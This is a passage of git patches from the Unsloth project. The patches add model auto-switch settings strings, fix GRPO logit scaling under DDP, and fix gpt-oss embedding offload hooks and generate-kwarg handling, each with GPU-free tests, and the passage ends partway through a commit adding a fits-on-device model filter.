@@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               </span>
               {/* Only when not launched with --secure: the raw 0.0.0.0 port is
                   still globally reachable, so point the user at --secure. */}
-              {!secure ? (
+              {secure ? null : (
                 <Tooltip>
-                  <TooltipTrigger asChild>
+                  <TooltipTrigger asChild={true}>
                     <button
                       type="button"
                       className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
@@ -430,7 +537,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                     {t("settings.apiKeys.secureHttpsHint")}
                   </TooltipContent>
                 </Tooltip>
-              ) : null}
+              )}
             </div>
             {/* Always rendered (dimmed when off) so toggling never changes the
                 row height and shifts the code block below. */}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index b3f26c808e..247d5040fb 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -48,6 +48,7 @@ import {
   updateUploadLimitSettings,
 } from "../api/upload-limit";
 import { ChangePasswordDialog } from "../components/change-password-dialog";
+import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -528,6 +529,8 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
+      <ModelAutoSwitchSection />
+
       <SettingsSection
         title={t("settings.general.previewSharing.sectionTitle")}
       >
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index f3c9eef44e..27dda5193a 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -142,6 +142,22 @@ export const en = {
         loadError: "Failed to load Helper LLM settings.",
         saveError: "Failed to save Helper LLM settings.",
       },
+      modelAutoSwitch: {
+        sectionTitle: "Model auto-switch (OpenAI API)",
+        enable: "Switch model by request",
+        enableDescription:
+          "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.",
+        idleUnload: "Idle auto-unload",
+        idleUnloadDescription:
+          "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.",
+        idleNeedsEnable:
+          "Turn on Switch model by request so an unloaded model reloads on next use.",
+        idleActiveViaEnv:
+          "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.",
+        loadError: "Failed to load model auto-switch settings.",
+        saveError: "Failed to save model auto-switch settings.",
+        idleError: "Enter a whole number of seconds (0 or more).",
+      },
       previewSharing: {
         sectionTitle: "Preview sharing",
         enableLabel: "Public preview links",

From c5adb69a107913e7e2b2bc5f432d40dd3d70d0ec Mon Sep 17 00:00:00 2001
From: Filip Trajkovic <ftrajkov@amd.com>
Date: Thu, 2 Jul 2026 05:01:15 +0200
Subject: [PATCH 172/306] Fix GRPO logit scaling when model is wrapped by DDP
 (#5955)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 tests/python/test_grpo_ddp_model_config.py | 31 ++++++++++++++++++++++
 unsloth/models/rl_replacements.py          | 28 ++++++++++++++-----
 2 files changed, 52 insertions(+), 7 deletions(-)
 create mode 100644 tests/python/test_grpo_ddp_model_config.py

diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.py
new file mode 100644
index 0000000000..5af31f65b8
--- /dev/null
+++ b/tests/python/test_grpo_ddp_model_config.py
@@ -0,0 +1,31 @@
+"""GRPO logit-scaling helpers must read config through DDP wrappers."""
+
+from __future__ import annotations
+
+import os
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir))
+SOURCE_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py")
+
+
+def _read_source() -> str:
+    with open(SOURCE_PATH, "r") as fh:
+        return fh.read()
+
+
+def test_grpo_logit_scaling_uses_model_config_helper():
+    src = _read_source()
+    # Helper exists and unwraps DDP/Accelerate wrappers via `.module`.
+    assert "def _unsloth_get_model_config(model):" in src
+    assert 'getattr(model.module, "config", None)' in src
+    # Softcapping takes the model and tolerates a missing config.
+    assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in src
+    assert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1]
+    # Logit scale/divide read through the unwrapped config, not bare model.config.
+    assert 'getattr(model_config, "logit_scale", 0)' in src
+    assert 'getattr(model_config, "logits_scaling", 0)' in src
+    assert src.count("model_config = _unsloth_get_model_config(model)") >= 2
+    # Helper source is injected into the compiled GRPO trainer.
+    assert "inspect.getsource(_unsloth_get_model_config)" in src
+    # No direct model.config access remains in the RL logit path.
+    assert "model.config" not in src
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index 61a07b686d..d3ada23cf9 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -1337,11 +1337,12 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     image_sizes_chunks.append(slice_sample_axis(image_sizes, start, end))
 
             temperature = self.temperature
-            logit_softcapping = _unsloth_get_final_logit_softcapping(model.config)
-            logit_scale_multiply = getattr(model.config, "logit_scale", 0)
+            model_config = _unsloth_get_model_config(model)
+            logit_softcapping = _unsloth_get_final_logit_softcapping(model)
+            logit_scale_multiply = getattr(model_config, "logit_scale", 0)
             if logit_scale_multiply is None:
                 logit_scale_multiply = 0
-            logit_scale_divide = getattr(model.config, "logits_scaling", 0)
+            logit_scale_divide = getattr(model_config, "logits_scaling", 0)
             if logit_scale_divide is None:
                 logit_scale_divide = 0
 
@@ -1471,7 +1472,15 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
 RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__get_per_token_logps_and_entropies)
 
 
-def _unsloth_get_final_logit_softcapping(config):
+def _unsloth_get_model_config(model):
+    """Return HuggingFace model config, unwrapping DDP/Accelerate wrappers."""
+    config = getattr(model, "config", None)
+    if config is None and hasattr(model, "module"):
+        config = getattr(model.module, "config", None)
+    return config
+
+
+def _unsloth_get_final_logit_softcapping(model):
     """Return final_logit_softcapping for a model config, falling back to the
     nested text sub-config for composite models. Handles both:
       - Gemma-4-style configs where the attribute lives on ``config.text_config``
@@ -1479,6 +1488,9 @@ def _unsloth_get_final_logit_softcapping(config):
         reachable via ``config.get_text_config()``
     Returns 0 if unset, matching the previous behaviour.
     """
+    config = _unsloth_get_model_config(model)
+    if config is None:
+        return 0
     softcap = getattr(config, "final_logit_softcapping", None)
     if softcap is None:
         text_cfg = getattr(config, "text_config", None)
@@ -1499,6 +1511,7 @@ grpo_compute_loss_slow = RL_REPLACEMENTS["grpo_compute_loss_slow"]
 UnslothEfficientGRPO = RL_REPLACEMENTS["UnslothEfficientGRPO"]
 grpo_accumulated_loss = RL_REPLACEMENTS["grpo_accumulated_loss"]
 grpo_update_SamplingParams = RL_REPLACEMENTS["grpo_update_SamplingParams"]
+RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_model_config))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_final_logit_softcapping))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_mm_token_id))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_fix_mm_token_type_ids))
@@ -1616,11 +1629,12 @@ def grpo_trainer_compute_loss(function_name, function):
         input_ids = input_ids[:, -logits_to_keep:]
 
         # Get logit softcapping and logit scale
-        logit_softcapping = _unsloth_get_final_logit_softcapping(model.config)  # Gemma
-        logit_scale_multiply = getattr(model.config, "logit_scale", 0)  # Cohere
+        model_config = _unsloth_get_model_config(model)
+        logit_softcapping = _unsloth_get_final_logit_softcapping(model)  # Gemma
+        logit_scale_multiply = getattr(model_config, "logit_scale", 0)  # Cohere
         if logit_scale_multiply is None:
             logit_scale_multiply = 0
-        logit_scale_divide = getattr(model.config, "logits_scaling", 0)  # Granite
+        logit_scale_divide = getattr(model_config, "logits_scaling", 0)  # Granite
         if logit_scale_divide is None:
             logit_scale_divide = 0
 

From d91183d03feca2539a946354ca4fdbb4928e273c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 22:39:00 -0700
Subject: [PATCH 173/306] Fix gpt-oss offload_embedding and generate() kwargs,
 and guard offload_embedding on tied/vLLM models (#6774)

* Fix gpt-oss offload_embedding and generate() logits_to_keep on fused models

offload_embedding=True moved embed_tokens to CPU but left the input/output device-shuffling forward hooks commented out ('[TODO] Doesn't seem to work!'), so an eager forward/generate with CUDA input_ids hit the CPU embedding and raised a device-mismatch RuntimeError. Re-implement them in a testable helper _install_offload_embedding_hooks that saves the origin device on the module (the pre-hook returns a new tensor, so a device stashed on the original input is lost) and runs the lookup on the embedding weight's CURRENT device. Reading the weight device at call time (not a hard-coded cpu) also handles a non-quantized (bf16) embedding that a later model.to(...) pulls back onto the GPU, which the hard-coded version broke in the opposite direction.

unsloth_base_fast_generate injected logits_to_keep/num_logits_to_keep whenever an inner submodule forward accepted it, but transformers validates generate kwargs against the top-level prepare_inputs_for_generation (plus forward when it takes kwargs). On fused/PEFT-wrapped gpt-oss this raised 'model_kwargs are not used by the model: [logits_to_keep]'. Only inject when the top level would accept it, mirroring transformers _validate_model_kwargs. Behavior is unchanged for every model that works today.

Adds tests/test_offload_embedding_hooks.py and tests/test_generate_kwarg_gate.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss offload hooks: store origin device on the tensor, not the shared module

The pre-hook stashed the input device on embed_tokens itself, which races when
concurrent forwards share the module (serving). Ride it on the moved tensor and
read it from the post-hook args instead: stateless and thread-safe.

* Also strip mm_token_type_ids that generate() rejects (Qwen3-VL vision GRPO)

The vision processor (Transformers 5.x path) emits mm_token_type_ids, which
Qwen3-VL's generate() then rejects in _validate_model_kwargs on transformers
4.x, so vision GRPO fails at the first rollout:

  ValueError: The following `model_kwargs` are not used by the model:
  ['mm_token_type_ids']

Unlike logits_to_keep this is an incoming kwarg rather than one we inject, so
drop it in unsloth_base_fast_generate when the top level generate does not
accept it, reusing the same _unsloth_generate_accepts_kwarg gate. Extends the
GPU-free gate test with the accept/reject mm_token_type_ids cases (7/7 pass).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim mm_token_type_ids comment

* Trim comments in gpt-oss offload/logits fix (comment-only)

* gpt-oss offload: return embedding output to the decoder device, not the input's

When offload_embedding moves the embedding to CPU, model.device can become CPU and
inputs then arrive on CPU, so returning the output to the input device left it on CPU
and the CUDA decoder hit a device mismatch. Capture the decoder device before offload
and always return there. This also drops the per-request tensor state (stateless, so
concurrent forwards stay correct).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss offload: refuse offload_embedding for tied word embeddings

Tied models share embed_tokens.weight with lm_head, so offloading the weight
to CPU strands the output projection there (device mismatch at generate) and
saves no VRAM since lm_head still needs it on GPU. Detect the shared weight via
get_output_embeddings and raise NotImplementedError instead of loading into a
crash. Untied models (gpt-oss, Llama-3.1-8B) offload unchanged.

Adds tests/test_offload_tied_guard.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss offload: skip embedding offload on fast_inference (vLLM)

vLLM manages its own weights, so offload_embedding cannot apply on the
fast_inference path (previously it was silently ignored). Disable it with a
notice, mirroring the WSL and Windows skips.

* Trim offload embedding comments (comment-only)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss offload: track decoder device live so it survives model.to()

The post-hook returned the embedding output to a device captured at load time.
If a model is loaded on CPU then moved with model.to(cuda), that device is
stale and the output lands on the wrong device. Read the decoder device live
from the (untied) output embeddings, keeping the captured device as a fallback.
Adds a stale-fallback regression test.

* Make generate-kwarg-gate cases pytest-collectable

Cases lived in run(), which pytest does not collect, so CI never exercised the
gate. Expose them as test_generate_kwarg_gate; still runnable via __main__.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gpt-oss offload: skip a meta (disk-offloaded) lm_head as the return device

A device_map that disk-offloads an untied lm_head leaves its weight on the meta
device until that module's own hook runs, so reading it as the decoder device
would move real hidden states to meta. Skip meta (and a missing weight) and fall
back to the captured device. Adds a regression test.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_generate_kwarg_gate.py     | 137 ++++++++++++++++++++++++++
 tests/test_offload_embedding_hooks.py | 129 ++++++++++++++++++++++++
 tests/test_offload_tied_guard.py      |  62 ++++++++++++
 unsloth/models/vision.py              | 105 +++++++++++++++++---
 4 files changed, 422 insertions(+), 11 deletions(-)
 create mode 100644 tests/test_generate_kwarg_gate.py
 create mode 100644 tests/test_offload_embedding_hooks.py
 create mode 100644 tests/test_offload_tied_guard.py

diff --git a/tests/test_generate_kwarg_gate.py b/tests/test_generate_kwarg_gate.py
new file mode 100644
index 0000000000..6d1379d3a9
--- /dev/null
+++ b/tests/test_generate_kwarg_gate.py
@@ -0,0 +1,137 @@
+"""GPU-free test for the generate-kwarg gate in vision.py
+(_unsloth_generate_accepts_kwarg), covering both logits_to_keep injection and mm_token_type_ids
+stripping, AST-extracted so no unsloth/CUDA import is needed."""
+
+import ast, inspect, os
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_helper():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_unsloth_generate_accepts_kwarg":
+            ns = {"inspect": inspect}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_unsloth_generate_accepts_kwarg"]
+    raise AssertionError("_unsloth_generate_accepts_kwarg not found in vision.py")
+
+
+accepts = _load_helper()
+
+
+class PrepHasKwargs_ForwardHasKey:
+    # **kwargs on prepare unions forward params; key in forward -> ACCEPTED.
+    def prepare_inputs_for_generation(self, input_ids, **kwargs): ...
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+        **kwargs,
+    ): ...
+
+
+class PrepNoKwargs_ForwardHasKey:
+    # no **kwargs -> forward not unioned; key only in forward -> REJECTED (gpt-oss shape).
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        attention_mask = None,
+    ): ...
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+    ): ...
+
+
+class PrepHasKeyDirectly:
+    # key directly on prepare -> ACCEPTED.
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+    ): ...
+    def forward(self, input_ids): ...
+
+
+class NoPrepare:
+    # no prepare -> empty args, no union -> REJECTED.
+    def forward(
+        self,
+        input_ids,
+        logits_to_keep = 0,
+        **kwargs,
+    ): ...
+
+
+class VisionRejectsMM:
+    # Qwen3-VL shape: neither prepare nor forward names mm_token_type_ids -> REJECTED (stripped).
+    def prepare_inputs_for_generation(
+        self,
+        input_ids,
+        attention_mask = None,
+    ): ...
+    def forward(
+        self,
+        input_ids,
+        pixel_values = None,
+    ): ...
+
+
+class VisionAcceptsMM:
+    # forward names mm_token_type_ids and prepare unions it via **kwargs -> ACCEPTED (kept).
+    def prepare_inputs_for_generation(self, input_ids, **kwargs): ...
+    def forward(
+        self,
+        input_ids,
+        mm_token_type_ids = None,
+        **kwargs,
+    ): ...
+
+
+# (model, key, expected) per gate case.
+CASES = [
+    (
+        "prep(**kwargs)+forward(key)  -> accept",
+        PrepHasKwargs_ForwardHasKey(),
+        "logits_to_keep",
+        True,
+    ),
+    (
+        "prep(no kwargs)+forward(key) -> reject",
+        PrepNoKwargs_ForwardHasKey(),
+        "logits_to_keep",
+        False,
+    ),
+    ("prep(key) direct             -> accept", PrepHasKeyDirectly(), "logits_to_keep", True),
+    ("no prepare_inputs_for_gen    -> reject", NoPrepare(), "logits_to_keep", False),
+    (
+        "num_logits_to_keep variant   -> reject",
+        PrepNoKwargs_ForwardHasKey(),
+        "num_logits_to_keep",
+        False,
+    ),
+    (
+        "mm_token_type_ids not accepted -> reject (strip)",
+        VisionRejectsMM(),
+        "mm_token_type_ids",
+        False,
+    ),
+    ("mm_token_type_ids accepted     -> keep", VisionAcceptsMM(), "mm_token_type_ids", True),
+]
+
+
+def test_generate_kwarg_gate():
+    for name, model, key, expected in CASES:
+        got = accepts(model, key)
+        assert got is expected, f"{name}: got {got}, expected {expected}"
+
+
+if __name__ == "__main__":
+    test_generate_kwarg_gate()
+    for name, _, _, _ in CASES:
+        print(f"  [PASS] {name}")
+    print("OK: generate-kwarg gate behaves like transformers _validate_model_kwargs")
diff --git a/tests/test_offload_embedding_hooks.py b/tests/test_offload_embedding_hooks.py
new file mode 100644
index 0000000000..b8be603b2a
--- /dev/null
+++ b/tests/test_offload_embedding_hooks.py
@@ -0,0 +1,129 @@
+"""Tests _install_offload_embedding_hooks in vision.py: the offloaded lookup must work and
+its output must land on the decoder device, read live from the output embeddings (lm_head)
+so it tracks model.to() moves. CUDA cases skip without a GPU."""
+
+import ast, os
+import torch
+import torch.nn as nn
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_installer():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_install_offload_embedding_hooks":
+            ns = {"torch": torch}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_install_offload_embedding_hooks"]
+    raise AssertionError("_install_offload_embedding_hooks not found in vision.py")
+
+
+install = _load_installer()
+CPU = torch.device("cpu")
+
+
+def _emb():
+    return nn.Embedding(32, 8)
+
+
+def _lm_head(device):
+    # Stand-in decoder reference (untied lm_head) whose weight device is the target.
+    return nn.Linear(8, 32, bias = False).to(device)
+
+
+def test_install_and_idempotent():
+    emb = _emb()
+    lm = _lm_head(CPU)
+    assert install(emb, lm, CPU) is True
+    assert emb._unsloth_offload_hooks_installed is True
+    n_pre = len(emb._forward_pre_hooks)
+    n_post = len(emb._forward_hooks)
+    assert install(emb, lm, CPU) is True
+    assert len(emb._forward_pre_hooks) == n_pre and len(emb._forward_hooks) == n_post
+    assert install(None, lm, CPU) is False
+
+
+def test_cpu_noop_forward():
+    # cpu weight + cpu decoder + cpu input -> output stays cpu.
+    emb = _emb()
+    install(emb, _lm_head(CPU), CPU)
+    out = emb(torch.randint(0, 32, (2, 5)))
+    assert out.shape == (2, 5, 8)
+    assert out.device.type == "cpu"
+
+
+def test_cuda_input_roundtrip():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # CPU weight, CUDA decoder + input -> lookup on cpu, output back on cuda.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_cpu_input_still_returns_to_decoder():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # P1: offload makes the input arrive on cpu; the output must still reach the cuda decoder.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cpu"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_live_decoder_over_stale_fallback():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # P2: fallback captured as cpu (model loaded on cpu), but the decoder later lives on cuda.
+    # The output must follow the live lm_head device, not the stale cpu fallback.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), CPU)
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_meta_lm_head_falls_back():
+    # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden
+    # states to meta is unrecoverable, so fall back to the captured device. No GPU needed.
+    emb = _emb().to("cpu")
+    lm = _lm_head(CPU)
+    lm.weight = nn.Parameter(lm.weight.to("meta"))
+    install(emb, lm, CPU)
+    out = emb(torch.randint(0, 32, (2, 5)))
+    assert out.device.type == "cpu", out.device
+
+
+def test_cuda_weight_pulled_back_to_gpu():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # bf16 weight later pulled back to gpu + cuda input -> no-op, stays on cuda.
+    emb = _emb().to("cuda")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+if __name__ == "__main__":
+    test_install_and_idempotent()
+    print("[PASS] install + idempotent")
+    test_cpu_noop_forward()
+    print("[PASS] cpu no-op forward")
+    test_cuda_input_roundtrip()
+    print("[PASS] cuda input roundtrip")
+    test_cpu_input_still_returns_to_decoder()
+    print("[PASS] cpu input still returns to cuda decoder (P1)")
+    test_live_decoder_over_stale_fallback()
+    print("[PASS] live decoder device beats stale fallback (P2)")
+    test_meta_lm_head_falls_back()
+    print("[PASS] meta lm_head falls back to captured device (P2)")
+    test_cuda_weight_pulled_back_to_gpu()
+    print("[PASS] cuda weight-on-gpu no-op")
+    print("OK: offloaded embedding output always lands on the live decoder device")
diff --git a/tests/test_offload_tied_guard.py b/tests/test_offload_tied_guard.py
new file mode 100644
index 0000000000..096fba116d
--- /dev/null
+++ b/tests/test_offload_tied_guard.py
@@ -0,0 +1,62 @@
+"""Tests _embeddings_are_tied in vision.py: offload_embedding must detect a shared
+embed_tokens/lm_head weight so the loader can refuse to offload tied embeddings
+(offloading would strand the output projection on CPU). No GPU needed."""
+
+import ast, os
+import torch
+import torch.nn as nn
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_fn():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_embeddings_are_tied":
+            ns = {"torch": torch}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_embeddings_are_tied"]
+    raise AssertionError("_embeddings_are_tied not found in vision.py")
+
+
+tied = _load_fn()
+
+
+def test_untied_separate_weights():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    assert tied(emb, lm) is False
+
+
+def test_tied_shared_parameter():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    lm.weight = emb.weight  # transformers-style weight tying
+    assert tied(emb, lm) is True
+
+
+def test_tied_by_storage_even_if_distinct_parameter():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    lm.weight = nn.Parameter(emb.weight.detach())  # distinct Parameter, shared storage
+    assert tied(emb, lm) is True
+
+
+def test_none_output_is_untied():
+    emb = nn.Embedding(32, 8)
+    assert tied(emb, None) is False
+    assert tied(None, nn.Linear(8, 32)) is False
+
+
+if __name__ == "__main__":
+    test_untied_separate_weights()
+    print("[PASS] untied separate weights -> False")
+    test_tied_shared_parameter()
+    print("[PASS] tied shared parameter -> True")
+    test_tied_by_storage_even_if_distinct_parameter()
+    print("[PASS] tied by storage -> True")
+    test_none_output_is_untied()
+    print("[PASS] missing lm_head -> untied (safe to offload)")
+    print("OK: tied embeddings are detected so offload_embedding can refuse them")
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index bdc2bd9ef6..5ab55152db 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -238,6 +238,71 @@ def _attach_bnb_multidevice_hooks(
 global NUM_LOGITS_TO_KEEP
 NUM_LOGITS_TO_KEEP = dict()
 
+
+def _unsloth_generate_accepts_kwarg(model, key):
+    # True if the top level accepts this generate kwarg (some models expose it on an inner forward only).
+    try:
+        model_args = set(inspect.signature(model.prepare_inputs_for_generation).parameters)
+    except (TypeError, ValueError, AttributeError):
+        model_args = set()
+    if "kwargs" in model_args or "model_kwargs" in model_args:
+        try:
+            model_args |= set(inspect.signature(model.forward).parameters)
+        except (TypeError, ValueError, AttributeError):
+            pass
+    return key in model_args
+
+
+def _install_offload_embedding_hooks(embed_tokens, output_embeddings, return_device):
+    # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the
+    # decoder device read live from output_embeddings (lm_head, untied here) so it tracks
+    # model.to() moves. A meta (disk-offloaded) or missing lm_head falls back to return_device.
+    if embed_tokens is None:
+        return False
+    if getattr(embed_tokens, "_unsloth_offload_hooks_installed", False):
+        return True
+
+    def _decoder_device():
+        weight = getattr(output_embeddings, "weight", None)
+        if weight is not None and weight.device.type != "meta":
+            return weight.device
+        return return_device
+
+    def _unsloth_offload_pre_hook(module, args):
+        if not args:
+            return args
+        inp = args[0]
+        if not hasattr(inp, "device"):
+            return args
+        weight = getattr(module, "weight", None)
+        target = weight.device if weight is not None else _decoder_device()
+        if target is None or inp.device == target:
+            return args
+        return (inp.to(target),) + tuple(args[1:])
+
+    def _unsloth_offload_post_hook(module, args, output):
+        target = _decoder_device()
+        if target is not None and hasattr(output, "device") and output.device != target:
+            return output.to(target)
+        return output
+
+    embed_tokens.register_forward_pre_hook(_unsloth_offload_pre_hook, prepend = True)
+    embed_tokens.register_forward_hook(_unsloth_offload_post_hook, prepend = True)
+    embed_tokens._unsloth_offload_hooks_installed = True
+    return True
+
+
+def _embeddings_are_tied(input_embeddings, output_embeddings):
+    # Tied lm_head reuses this weight; offloading to CPU would strand the output projection.
+    if input_embeddings is None or output_embeddings is None:
+        return False
+    w_in = getattr(input_embeddings, "weight", None)
+    w_out = getattr(output_embeddings, "weight", None)
+    if w_in is None or w_out is None:
+        return False
+    return w_in is w_out or w_in.data_ptr() == w_out.data_ptr()
+
+
 VLLM_SUPPORTED_VLM = [
     "qwen2_5_vl",
     "gemma3",
@@ -321,6 +386,13 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
             kwargs.pop("token_type_ids", None)
     # kwargs.pop("token_type_ids", None)
 
+    # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike
+    # logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it.
+    if "mm_token_type_ids" in kwargs and not _unsloth_generate_accepts_kwarg(
+        self, "mm_token_type_ids"
+    ):
+        kwargs.pop("mm_token_type_ids", None)
+
     # VLMs do not allow logits_to_keep
     global NUM_LOGITS_TO_KEEP
     if arch not in NUM_LOGITS_TO_KEEP:
@@ -339,7 +411,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
         if arch not in NUM_LOGITS_TO_KEEP:
             NUM_LOGITS_TO_KEEP[arch] = None
     key = NUM_LOGITS_TO_KEEP[arch]
-    if key is not None and key not in kwargs:
+    if key is not None and key not in kwargs and _unsloth_generate_accepts_kwarg(self, key):
         kwargs[key] = 1
 
     model_eos_token_id = getattr(self.config, "eos_token_id", None)
@@ -1024,6 +1096,12 @@ class FastBaseModel:
 
         raise_handler = RaiseUninitialized()
         try:
+            if offload_embedding and fast_inference:
+                # vLLM manages its own weights; embedding offload does not apply.
+                print(
+                    "Unsloth: Not offloading embeddings; incompatible with fast_inference (vLLM)."
+                )
+                offload_embedding = False
             if not fast_inference:
                 # Prevent load_in_fp8 from being forwarded into HF internal model loading
                 load_in_fp8 = kwargs.pop("load_in_fp8", None)
@@ -1070,21 +1148,26 @@ class FastBaseModel:
                         pass
                     else:
                         embed_tokens = model.get_input_embeddings()
+                        out_embed = (
+                            model.get_output_embeddings()
+                            if hasattr(model, "get_output_embeddings")
+                            else None
+                        )
+                        if _embeddings_are_tied(embed_tokens, out_embed):
+                            raise NotImplementedError(
+                                "offload_embedding = True is not supported for models with tied word "
+                                "embeddings (embed_tokens shares its weight with lm_head). Offloading "
+                                "would strand the output projection on CPU and saves no VRAM. Set "
+                                "offload_embedding = False for this model."
+                            )
                         nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize
                         ngb = round(nbytes / 1024 / 1024 / 1024, 2)
                         print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.")
+                        _embed_device = embed_tokens.weight.device  # decoder device, before offload
                         embed_tokens.to("cpu")
 
-                        # Add hooks to move inputs to CPU and back to CUDA
-                        # [TODO] Doesn't seem to work!
-                        # def pre_hook(module, args):
-                        #     args[0]._old_device = args[0].device
-                        #     return (args[0].to("cpu", non_blocking = True))
-                        # def post_hook(module, args, output):
-                        #     old_device = getattr(args[0], "_old_device", "cuda")
-                        #     return output.to(old_device, non_blocking = True)
-                        # embed_tokens.register_forward_pre_hook(pre_hook,  prepend = True)
-                        # embed_tokens.register_forward_hook    (post_hook, prepend = True)
+                        # Device-safe embedding offload.
+                        _install_offload_embedding_hooks(embed_tokens, out_embed, _embed_device)
                         # Must free GPU memory otherwise will not free!
                         torch.cuda.empty_cache()
                         gc.collect()

From ac6ba96f9e21fb91f4d9a93bc31c0beb0feceafe Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 2 Jul 2026 02:18:20 -0700
Subject: [PATCH 174/306] Add a fits-on-device filter to the model selects
 (#6802)

* Add a shared fits-on-device filter to the model selects

The chat model selector gains an Only show models that fit on this
device tick under its filter row, and the Hub page gains a matching
Fits device pill next to the sort menu. Both read one persisted
preference (unsloth_models_fit_on_device_only), so toggling either
applies to both.

